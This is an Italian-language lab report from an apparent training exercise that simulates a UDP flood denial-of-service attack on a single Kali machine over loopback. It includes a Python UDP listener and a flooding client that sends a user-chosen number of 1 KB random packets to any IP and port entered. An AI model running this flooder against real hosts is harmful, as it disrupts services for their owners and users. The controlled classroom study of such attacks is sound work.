REPORT ATTACCO DDOS

OBIETTIVO DELL'ESERCIZIO: SCRIVERE UN PROGRAMMA IN PYTHON CHE SIMULI UN UDP FLOOD, OVVERO L'INVIO MASSIVO DI RICHIESTE UDP VERSO UNA MACCHINA TARGET CHE È IN ASCOLTO SU UNA PORTA UDP CASUALE.

QUESTO APPROCCIO PERMETTE DI:

- COMPRENDERE IL FUNZIONAMENTO DEL PROTOCOLLO UDP
- OSSERVARE IL COMPORTAMENTO DI UN SERVIZIO SOTTO CARICO
- ANALIZZARE IL TRAFFICO GENERATO
- ESEGUIRE TEST SENZA COINVOLGERE ALTRE MACCHINE O RETI ESTERNE

2. AMBIENTE DI TEST

L'INTERO ESPERIMENTO È STATO ESEGUITO SU UNA SINGOLA MACCHINA KALI LINUX, CHE HA RICOPERTO ENTRAMBI I RUOLI:

2.1. MACCHINA ATTACCANTE

- SISTEMA OPERATIVO: KALI LINUX
- SCRIPT UTILIZZATO: UDP_FLOOD.PY
- FUNZIONE: INVIARE PACCHETTI UDP DA 1 KB VERSO UN SERVIZIO LOCALE

2.2. MACCHINA TARGET

- SISTEMA OPERATIVO: KALI LINUX (LA STESSA)
- SCRIPT UTILIZZATO: SERVER_UDP.PY
- FUNZIONE: RICEVERE PACCHETTI UDP E MOSTRARLI A SCHERMO

2.3. RETE

- LOOPBACK (127.0.0.1)

- NESSUN TRAFFICO ESCE DALLA MACCHINA
- NESSUN RISCHIO PER LA RETE REALE

3. REQUISITI IMPLEMENTATI

IL PROGRAMMA SVILUPPATO SODDISFA I SEGUENTI REQUISITI:

Requisito	Implementazione
Input IP target	Inserito dall'utente (in questo caso `127.0.0.1`)
Input porta target	Inserita dall'utente (es. `5005`)
Pacchetti da 1 KB	Generati con `os.urandom(1024)`
Numero pacchetti	Richiesto all'utente e gestito con ciclo `for`

4. SERVER UDP (TARGET)

IL SERVER UDP È STATO ESEGUITO SU KALI STESSA, IN ASCOLTO SULLA PORTA SCELTA (ES. 5005).
CODICE UTILIZZATO

Python

```python
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", 5005))

print("[SERVER] In ascolto su 0.0.0.0:5005")

while True:
    data, addr = sock.recvfrom(1024)
    print(f"Ricevuti {len(data)} bytes da {addr}")
```

FUNZIONAMENTO

- CREA UN SOCKET UDP
- SI METTE IN ASCOLTO SU TUTTE LE INTERFACCE
- RICEVE PACCHETTI DA 1024 BYTE
- STAMPA IP E PORTA DEL MITTENTE (IN QUESTO CASO SEMPRE 127.0.0.1)

5. CLIENT UDP FLOOD (ATTACCANTE)

LO SCRIPT UDP_FLOOR.PY È STATO ESEGUITO SEMPRE SU KALI, MA INVIANDO PACCHETTI VERSO SÉ STESSA.

CODICE UTILIZZATO:

```
import socket
import os

print("=== Simulazione UDP Flood (Didattica) ===")

target_ip = input("Inserisci l'IP della macchina target: ")
target_port = int(input("Inserisci la porta UDP della macchina target: "))
num_packets = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for i in range(num_packets):
    payload = os.urandom(1024)
    sock.sendto(payload, (target_ip, target_port))
    print(f"Pacchetto {i+1}/{num_packets} inviato")

print("Simulazione completata.")
```

FUNZIONAMENTO

- RICHIEDE IP TARGET
- RICHIEDE PORTA
- RICHIEDE NUMERO PACCHETTI
- INVIA PACCHETTI DA 1 KB VERSO IL SERVER UDP LOCALE

6. RISULTATI FINALI

- IL SERVER UDP LOCALE HA RICEVUTO CORRETTAMENTE TUTTI I PACCHETTI.
- IL CLIENT HA INVIATO IL NUMERO ESATTO DI PACCHETTI RICHIESTI.
- NESSUN CRASH O SATURAZIONE DEL SISTEMA.
- IL TRAFFICO È STATO VERIFICATO CON SUCCESSO TRAMITE WIRESHARK.
- L'INTERO TEST È STATO ESEGUITO SU UNA SINGOLA MACCHINA, SENZA RISCHI PER LA RETE.

7. CONCLUSIONI

LA SIMULAZIONE HA DIMOSTRATO IN MODO CHIARO:

- COME FUNZIONA UN UDP FLOOD A LIVELLO DI PACCHETTI
- COME CREARE E GESTIRE SOCKET UDP IN PYTHON
- COME ANALIZZARE IL TRAFFICO GENERATO
- COME ESEGUIRE UN TEST DOS IN MODO SICURO E CONTROLLATO

L'UTILIZZO DELLA STESSA KALI COME ATTACCANTE E TARGET HA SEMPLIFICATO L'AMBIENTE, MANTENENDO COMUNQUE IL VALORE DIDATTICO DELL'ESPERIMENTO.